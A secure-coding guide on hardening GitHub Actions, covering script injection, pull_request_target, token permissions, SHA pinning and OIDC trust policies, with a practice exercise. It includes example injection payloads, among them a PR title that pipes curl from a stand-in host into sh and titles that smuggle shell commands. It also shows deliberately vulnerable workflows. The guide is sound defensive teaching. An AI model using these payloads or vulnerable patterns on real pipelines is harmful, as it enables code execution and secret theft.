Most GitHub Actions compromises come from untrusted pull-request content reaching a job that holds secrets or a write token. Pass ${{ }} context through env instead of into a run script, keep pull_request_target and workflow_run away from fork code, set GITHUB_TOKEN to least privilege, pin third-party actions to a full commit SHA, scope OIDC trust to the repo and environment, and validate any artifact from another workflow as data.
- Do assign context values (
github.event.*) toenv:variables and reference the variable inrun, so attacker text is never pasted into the shell script. - Do set
permissionsat the top of every workflow (read-only or{}) and raise only the one scope a job needs; the defaultGITHUB_TOKENfor new repos is already read-only. - Do pin third-party actions to a full-length commit SHA with a version comment; a tag can be moved to malicious code, as the 2025 tj-actions/changed-files compromise showed.
- Do keep
pull_request_targetandworkflow_runaway from fork code;actions/checkoutv7 refuses fork-PR checkout by default, and GitHub's default policy blockspull_request_targeton public repos from 2026-11-02. - Don't give a workflow that runs untrusted PR code any secrets, a write token, or a self-hosted runner.
- Don't trust an artifact or cache produced by a less-trusted workflow; validate it as bounded data before use.
| Setting | Value | Note | Source |
|---|---|---|---|
Default GITHUB_TOKEN permissions (new repos) | read-only | New repositories get read-only contents/packages since 2023-02-02; existing ones keep their setting. Raise per job. | https://github.blog/changelog/2023-02-02-github-actions-updating-the-default-github_token-permissions-to-read-only/ |
GITHUB_TOKEN lifetime | job end; at most 6 h hosted, 24 h self-hosted | A GitHub App installation token; it expires when the job finishes or at its maximum lifetime, whichever comes first. | https://docs.github.com/en/actions/concepts/security/github_token |
Fork PR checkout under pull_request_target/workflow_run | refused (actions/checkout v7; v2 to v6 since 2026-07-20) | Opt back in only with allow-unsafe-pr-checkout: true. v1 is excluded. | https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout/ |
pull_request_target on public repos | blocked by default from 2026-11-02 | Workflow execution protections add a default event policy; evaluate mode until enforcement. Not applied to private/internal repos. | https://github.blog/changelog/2026-09-17-workflow-execution-protections-in-github-actions-generally-available/ |
| Actions cache for low-trust triggers | read-only | Read-only since 2026-06-26; cache-mode (GA 2026-09-10) defaults to read for pull_request_target and write for push. | https://github.blog/changelog/2026-09-10-control-github-actions-cache-access-with-cache-mode/ |
| Immutable action reference | full-length commit SHA | The only way to pin an action as an immutable release; tags can be moved. | https://docs.github.com/en/actions/reference/security/secure-use |
| OIDC subject (new repos after 2026-07-15) | repo:OWNER@OWNER-ID/REPO@REPO-ID:... | Immutable subject claims bind to numeric IDs; older repos opt in. Not on GHES. | https://github.blog/changelog/2026-04-23-immutable-subject-claims-for-github-actions-oidc-tokens/ |
| Environment required reviewers | up to 6; one approval | Environment secrets are withheld from a job until a reviewer approves. | https://docs.github.com/en/actions/reference/workflows-and-actions/deployments-and-environments |
| Self-hosted runners on public repos | discouraged | A fork PR can compromise a persistent runner; prefer GitHub-hosted or ephemeral/JIT runners. | https://docs.github.com/en/actions/reference/security/secure-use |
- Run
actionlintover.github/workflowsand confirm it reports untrusted context used directly in run steps; fix until it is clean. - Run
zizmorover the workflows and confirmtemplate-injection,excessive-permissions,unpinned-usesanddangerous-triggersfindings are resolved or justified. - Grep every workflow for third-party
uses:and confirm each is a 40-hex commit SHA, not a tag or branch. - Grep for
permissions:and confirm each workflow sets a top-level default and each job declares only the scopes it needs. - Open a fork pull request that puts a shell metacharacter in the branch name or PR title and confirm no job echoes it into a shell or exposes a secret.
- Check the cloud role trust policy has a
subcondition scoped to your repo (and environment), with no wildcard that would match another repo, and confirm OIDC usesid-token: writeonly where needed.
- Applies to
- GitHub Actions github.com, 2026-10
- actions/checkout v7 (v2 to v6 backported)
- aws-actions/configure-aws-credentials v6
Workflows on GitHub.com using GitHub-hosted or self-hosted runners. GitHub Enterprise Server defaults and feature availability can differ.
- Part of
- Workflow: Fix a finding
Tested fixes: the vulnerable code, the fix, a plausible fix that still fails, and the regression tests that tell them apart.
Learning goals and prerequisites
What you will learn
- Find the jobs where untrusted input meets secrets, a write token or a runner.
- Remove run-step script injection by passing context through environment variables.
- Contain pull_request_target and workflow_run and consume artifacts as data.
- Apply least-privilege GITHUB_TOKEN, SHA-pinned actions and scoped OIDC trust.
Before you start
Developers and AppSec or platform engineers who write and review GitHub Actions workflows and CI/CD configuration
- Read a GitHub Actions workflow: triggers, jobs, steps, permissions and ${{ }} expressions.
- Tell a fork pull request from a same-repository one, and know what GITHUB_TOKEN and secrets are.
- Basic shell and JSON, and familiarity with OIDC/cloud role trust at a high level.
A GitHub Actions compromise almost always has the same shape: content an outsider controls reaches a job that holds something valuable, namely secrets, a write-scoped GITHUB_TOKEN, cloud credentials through OIDC, or a persistent self-hosted runner. The content can be a pull request's code, its title or branch name, a dependency it adds, or an artifact or cache an earlier job produced. Start by listing which triggers run on outsider input (pull_request, pull_request_target, issue_comment, workflow_run) and which jobs can publish, deploy, write to the repo or read secrets. The risk lives where those two sets overlap.
Two facts make the overlap dangerous. First, pull_request_target and workflow_run run in the context of the base repository, so they get the repository's secrets and a token that can be write-scoped, even when the triggering pull request comes from a fork. Second, the fork's pull_request run itself gets neither: its GITHUB_TOKEN is read-only and no secrets are passed. So the safe default is to do untrusted work under pull_request and keep anything privileged away from fork-controlled code. The rest of this guide hardens each crossing in turn, and the GitHub defaults changed a lot across 2025 and 2026, so the dated changes are called out where they matter.
A run step is written to a temporary script, and GitHub expands every ${{ }} expression into that script text before the shell parses it. If an expression holds attacker-controlled text, the attacker is writing shell. A pull request title of a"; curl evil.sh | sh; " or a branch name like zzz";echo${IFS}pwned;# turns a harmless-looking grep into command execution on the runner. The vulnerable triage workflow below pastes github.event.issue.title straight into a bash test; an issue title can close the quote and run anything.
The fix is not to escape the value but to stop it from being code at all. Assign each context value to an env: variable, then reference the variable in the script with ordinary, quoted shell expansion. An environment variable's value never passes through the expression-expansion step, so the title is just data in a string. actionlint flags the vulnerable form, and GitHub's own guidance says the same: for inline scripts, set the value to an intermediate environment variable. Where you can, use an action that takes the value as an argument instead of building a shell string.
name: triage
on:
issues:
types: [opened]
permissions:
issues: write
jobs:
label:
runs-on: ubuntu-latest
steps:
- name: Label bug reports
env:
GH_TOKEN: ${{ github.token }}
run: |
if [[ "${{ github.event.issue.title }}" == *bug* ]]; then
gh issue edit "${{ github.event.issue.number }}" --add-label bug --repo "$GITHUB_REPOSITORY"
fiThe repaired triage workflow moves the title and number into env and references $TITLE and $NUMBER in the script, so no attacker text reaches the shell as code. The same version also tightens authority: the top-level permissions is {} (no token scopes), and the one job that needs to label issues declares issues: write with a comment saying why. Setting any permissions block drops every scope you do not list to none, which is exactly what you want.
This pattern, context through env and least-privilege permissions, is the single highest-value habit in Actions. Run actionlint and zizmor in CI so a future edit that reintroduces ${{ github.event.* }} in a run step fails the build.
name: triage
on:
issues:
types: [opened]
permissions: {}
jobs:
label:
runs-on: ubuntu-latest
permissions:
issues: write # add the label
steps:
- name: Label bug reports
env:
TITLE: ${{ github.event.issue.title }}
NUMBER: ${{ github.event.issue.number }}
GH_TOKEN: ${{ github.token }}
run: |
if [[ "$TITLE" == *bug* ]]; then
gh issue edit "$NUMBER" --add-label bug --repo "$GITHUB_REPOSITORY"
fiThe classic "pwn request" is a pull_request_target workflow that checks out the fork's head commit and then builds or tests it. Because pull_request_target carries the base repository's secrets and a write token, running the fork's code (through npm ci, make, a build script, or anything the fork controls) hands that code the secrets. The vulnerable workflow below does exactly this, and compounds it with permissions: write-all and an unpinned action. GitHub's rule is blunt: workflows on these triggers must not check out or execute untrusted code.
GitHub tightened the defaults here through 2026. actions/checkout v7 (June 2026, backported to v2 to v6 with enforcement on 2026-07-20) refuses to fetch fork pull-request code under pull_request_target or workflow_run unless you set allow-unsafe-pr-checkout: true; v1 is excluded, and a SHA-pinned checkout does not pick up the backport automatically. Workflow execution protections (GA September 2026) add a default rule that disables pull_request_target on public repositories with no event policy of their own. The rule runs in evaluate mode before enforcement, which GitHub's changelog set for 2026-11-02 (private and internal repos are unaffected). The low-trust cache is read-only by default too. These are backstops, not a design: the fix is still to not run fork code in a privileged context. /domains/supply-chain/ci-cd/untrusted-workflow-boundaries/ traces the whole privilege path, including artifact and cache handoffs.
name: pr-build
on: pull_request_target
permissions: write-all
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm test
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}When you genuinely need to act on a fork PR with privileges (post a comment, update a status), split it into two workflows. The untrusted half runs on pull_request with no secrets and a read-only token: it builds, tests and writes a small, data-only summary as an artifact. The privileged half runs on workflow_run after the first completes, downloads that artifact, and does the privileged action. The CI workflow below is the untrusted half: note persist-credentials: false on a SHA-pinned checkout, and that it only ever emits a bounded JSON file.
The privileged half must treat the artifact as untrusted data, never as code. The companion ci-comment workflow downloads the summary into an untrusted/ directory, checks its size, validates that it is exactly the expected integer fields in range, and only then posts a comment. It never unzips and runs anything from the artifact, and it re-reads the PR head from the API to bind the comment to the right commit. This is the same contract as GitHub's guidance that workflow_run artifacts from other workflows are untrusted.
name: ci
on: pull_request
permissions:
contents: read # read the code; fork PRs get no secrets and a read-only token
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- run: npm ci && npm test
- name: Write a data-only summary
env:
PR_NUMBER: ${{ github.event.pull_request.number }}
run: ./ci/summary.sh "$PR_NUMBER" > summary.json
- uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
with:
name: summary
path: summary.jsonThe consumer below is the whole point of the split. It downloads the summary artifact from the triggering run, enforces a size cap, and uses one jq assertion to require exactly the keys failed, passed and pr, each a non-negative integer below a million. Anything else (an extra key, a string, a float, an oversized blob, a non-JSON body) fails the step before any privileged call. It then confirms the PR's current head matches the workflow_run head SHA so a race cannot retarget the comment. Only after all that does it call gh pr comment.
Tested against hostile inputs, this step accepts the valid summary and rejects an extra key, a string pr, a float, a negative number, a boolean, non-JSON, an oversized file, and a mismatched head commit. That is the bar for anything that consumes a less-trusted artifact: a narrow schema, hard limits, and no path from artifact content to execution.
name: ci-comment
on:
workflow_run:
workflows: [ci]
types: [completed]
permissions: {}
jobs:
comment:
if: github.event.workflow_run.event == 'pull_request'
runs-on: ubuntu-latest
permissions:
actions: read # download the other run's artifact
pull-requests: write # post the comment
steps:
- uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
with:
name: summary
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ github.token }}
path: untrusted
- name: Validate the artifact as data, then comment
env:
GH_TOKEN: ${{ github.token }}
HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
run: |
set -euo pipefail
f=untrusted/summary.json
[ "$(wc -c < "$f")" -le 1024 ]
jq -e 'keys == ["failed","passed","pr"] and all(.[]; type == "number" and . >= 0 and . == floor and . < 1000000)' "$f" > /dev/null
pr=$(jq '.pr' "$f"); passed=$(jq '.passed' "$f"); failed=$(jq '.failed' "$f")
head=$(gh pr view "$pr" --repo "$GITHUB_REPOSITORY" --json headRefOid --jq .headRefOid)
[ "$head" = "$HEAD_SHA" ]
gh pr comment "$pr" --repo "$GITHUB_REPOSITORY" --body "Tests: $passed passed, $failed failed"A third-party action runs with your workflow's privileges, so its reference is a trust decision. A tag like @v4 is mutable: whoever controls the action's repository can move it to new code. Pin to a full-length commit SHA and keep the version in a trailing comment, for example uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1. GitHub states a full-length commit SHA is currently the only way to use an action as an immutable release, and repository or organization policy can require SHA pinning and even block specific actions (a ! prefix in the allow list, since August 2025). Pair pinning with Dependabot, which updates pinned SHAs; note Dependabot does not raise alerts for actions already pinned to a SHA, so updates are how you get fixes.
The 2025 tj-actions/changed-files compromise (CVE-2025-30066, CVSS 8.6) is the cautionary tale, told in full in /domains/supply-chain/ci-cd/case-study-tj-actions/. Attackers who had obtained a maintainer token repointed the action's existing version tags at a malicious commit; the injected code dumped the runner's memory and printed secrets, double-base64-encoded, into workflow logs. Every workflow referencing the action by tag ran the malicious code; a workflow pinned to a known-good SHA did not. Unit 42 traced the entry point back through a compromised reviewdog action (CVE-2025-30154) to a SpotBugs pull_request_target workflow that leaked a token; although the action was used by tens of thousands of repositories, Endor Labs found that only 218 actually leaked secrets, most of them short-lived GITHUB_TOKENs. CISA added both CVEs to its Known Exploited Vulnerabilities catalog. The lessons are exactly this guide: pin to SHAs, keep tokens least-privilege and short-lived, and avoid pull_request_target with untrusted code.
name: deploy
on:
push:
branches: [main]
permissions: {}
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
permissions:
contents: read
id-token: write # request the OIDC token for AWS
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: aws-actions/configure-aws-credentials@cbe3b392738ccf3f987d68400dafcf4b0624a56c # v6.2.4
with:
role-to-assume: arn:aws:iam::111122223333:role/acme-web-deploy
aws-region: us-east-1
- run: ./scripts/deploy.shPrefer short-lived OIDC credentials over long-lived cloud secrets stored in the repo. The deploy workflow above requests an OIDC token with id-token: write (which only lets the job mint the token, not write to the repo), runs on a protected push to main, and uses an environment so a reviewer and branch rules gate it. The matching AWS role trust policy is where the real control lives: it must require the audience and a sub claim scoped to your repository and, here, the production environment.
The trust policy below allows only a token whose sub is repo:acme/web:environment:production with the sts.amazonaws.com audience. GitHub's guidance and AWS both insist you define at least one condition so untrusted repositories cannot assume the role; a tested trap is a StringLike wildcard such as repo:acme/*, which would also admit a fork or an unrelated repo. Tested against sample tokens, the scoped policy allows the production deploy and denies a main-branch job without the environment, a pull_request job, another repo using the same environment name, and a wrong audience; the wildcard policy wrongly allows the first four. Note the subject format change: repositories created after 2026-07-15 use immutable subject claims of the form repo:OWNER@OWNER-ID/REPO@REPO-ID:..., so match your repository's actual format, and use repository custom property claims (GA in 2026) when you want to key trust on a compliance tier rather than a name.
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": { "Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com" },
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:acme/web:environment:production"
}
}
}]
}Self-hosted runners should almost never run public-repository workflows: a fork pull request can run code that persistently compromises the host, and destroying the VM after each job is not guaranteed unless you make the runner ephemeral. Use GitHub-hosted runners where you can, and ephemeral or just-in-time runners (one job, then removed) otherwise, placed in runner groups that bound their network reach. Remember that a secret passed as a command-line argument can be read by another job on the same machine.
For secrets, keep them out of workflow files, store each sensitive value as its own secret (structured JSON blobs defeat log masking), and register any value you derive from a secret with ::add-mask:: so it is redacted too. Masking is best-effort, so if a secret appears in a log, rotate it. Use environments with required reviewers (up to six, one approval needed) and deployment branch rules to gate production: environment secrets are not released to a job until a reviewer approves, which keeps them away from unreviewed code. Finally, run OpenSSF Scorecard's Dangerous-Workflow, Token-Permissions and Pinned-Dependencies checks, or actionlint and zizmor, in CI so these properties are enforced on every change rather than reviewed once. Codecov's 2021 compromise (/domains/supply-chain/ci-cd/case-study-codecov/) shows why: a modified script downloaded in CI posted every environment variable to an attacker. Protect the workflow files themselves with CODEOWNERS and rulesets (/domains/supply-chain/ci-cd/source-repository-protection/).
Guided practice
A repository has two risky workflows. triage.yml interpolates the issue title into a run step; pr-build.yml runs on pull_request_target, checks out the fork head and runs npm ci && npm test with a write-all token and an NPM_TOKEN secret. You also run a deploy job that uses a long-lived AWS access key. Harden all three, and write a trust policy for the OIDC role you introduce. Prove the two code fixes locally.
Supplied scenario material
triage.yml run step:
if [[ "${{ github.event.issue.title }}" == *bug* ]]; then gh issue edit ... ; fi
Attacker issue titles to consider:
T1 = "Login button is a bug"
T2 = "$(touch PWNED)"
T3 = 'x" == y ]] || touch PWNED; [[ "bug'
pr-build.yml:
on: pull_request_target ; permissions: write-all
checkout ref: ${{ github.event.pull_request.head.sha }} ; then npm ci && npm test ; env NPM_TOKEN
deploy: uses a stored AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY. Target role: arn:aws:iam::111122223333:role/acme-web-deploy, repo acme/web, environment production.1. Classify each crossing
For each workflow, name the untrusted input and the authority it can reach.
Expected result and reasoning
triage: issue title (attacker text) reaches a shell via
${{ }}expansion with an issues-scoped token. pr-build: fork code runs withwrite-allandNPM_TOKENbecausepull_request_targetcarries base secrets. deploy: a long-lived key is a standing secret. The first two are the dangerous overlaps.2. Fix script injection
Rewrite the triage run step so none of T1-T3 can execute, and predict each outcome.
Expected result and reasoning
Move the title to
env(TITLE: ${{ github.event.issue.title }}) and test"$TITLE". T1 labels the issue; T2 and T3 are compared as literal strings and never execute. Set top-level permissions and give the job onlyissues: write.3. Contain pull_request_target
Decide whether pr-build needs secrets at all, and restructure it.
Expected result and reasoning
Testing a fork PR needs no secrets, so run it on
pull_requestwithcontents: readand a SHA-pinned checkout (persist-credentials: false), noNPM_TOKEN. If a privileged comment is required, emit a bounded data-only artifact and consume it from a separateworkflow_runjob that validates it as data. Do not check out fork code underpull_request_target.4. Replace the key with scoped OIDC
Give the deploy job
id-token: writeand write the AWS role trust policy.Expected result and reasoning
Trust policy allows
sts.amazonaws.comaudience andsubrepo:acme/web:environment:productiononly. Reject aStringLikerepo:acme/*wildcard, which would admit forks or other repos. Account for the immutable subject format on repos created after 2026-07-15.5. Prove the code fixes
Describe a local test for the two code changes without using GitHub.
Expected result and reasoning
Render the triage run step with each title and execute it under
bashwith a stubgh; confirm only benign titles callghand noPWNEDfile appears for the fixed version. Run the artifact-consumer step against a valid summary and against extra-key/string/float/negative/boolean/oversized/non-JSON/mismatched-head inputs; confirm only the valid one comments. Also runactionlintandzizmorand confirm the fixed set is clean oftemplate-injectionandexcessive-permissionsfindings.
triage.yml, ci.yml and ci-comment.yml (or an equivalent split), a deploy.yml using OIDC, the AWS trust policy, and a local test transcript showing injection blocked and hostile artifacts rejected.The local tests emulate how the runner renders ${{ }} into a bash script and how the consumer validates an artifact; they do not reproduce the full runner, GitHub's policy enforcement, or real cloud STS. Org/enterprise policy (SHA-pinning enforcement, allowed actions, the pull_request_target default policy) is separate configuration this exercise does not set.
Save a draft on this device to resume later. Automatic saving begins after you choose Save. Drafts are never sent by this application; use synthetic data.
No draft saved on this device yet.
Repair the code
Actions injection lab: Flag GitHub Actions expression injection
Run a local project
Download and unzip a starter with failing tests and a step-by-step README, edit the named exercise file, and run the tests until they pass. The reference solution is a separate download, so you can attempt the repair before you see it.
Repair a security pipeline for GitHub Actions and GitLab CI
Repair two pipelines that run gitleaks, Semgrep, OSV-Scanner, Trivy and cosign but cannot fail and trust pull requests, until every action is pinned to a commit SHA, every image to a digest, gates block and only the main branch signs the pushed digest.
In the extracted folder, run:
node --test exercise.test.mjs13 regression tests · The starter intentionally fails some cases.
Opens in a dev container (VS Code Dev Containers or GitHub Codespaces) with a pinned image.
Static checks of the YAML text; the pipelines are not run. Each scan command was run locally with the pinned images, and the reference workflow passed actionlint 1.7.12 and zizmor 1.30.1.
Sources & further reading
The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.
- GitHub Actions: secure use reference (script injection, pinning, GITHUB_TOKEN, runners, triggers)
- GitHub Actions: securely using pull_request_target (v7 checkout, default policy)
- Safer pull_request_target defaults for actions/checkout (GitHub changelog, 2026-06-18)
- Workflow execution protections generally available (GitHub changelog, 2026-09-17)
- Control GitHub Actions cache access with cache-mode (GitHub changelog, 2026-09-10)
- Immutable subject claims for GitHub Actions OIDC tokens (GitHub changelog, 2026-04-23)
- GitHub OIDC reference: token claims and customizing the subject
- CISA: Supply chain compromise of third-party tj-actions/changed-files (CVE-2025-30066) and reviewdog/action-setup@v1 (CVE-2025-30154). 18 March 2025.
- Unit 42: GitHub Actions supply chain attack, from Coinbase to tj-actions/changed-files. Updated 2 April 2025.
- Endor Labs: Blast radius of the tj-actions/changed-files supply chain attack. 19 March 2025, updated 25 August 2025.
- GitHub Actions default GITHUB_TOKEN permissions set to read-only (changelog, 2023-02-02)
- OWASP Top 10 CI/CD Security Risks: CICD-SEC-4 Poisoned Pipeline Execution (PPE). v1.0 (2022).
- CISA, NSA and ODNI (Enduring Security Framework): Securing the Software Supply Chain, Recommended Practices Guide for Developers, section 2.4 Harden the Build Environment. August 2022.
Reference information
- SDLC phase
- DevelopmentRelease
- ASVS 5.0.0 requirements
- v5.0.0-1.2.5 · v5.0.0-13.3.1 · v5.0.0-13.3.2
- CAPEC attack patterns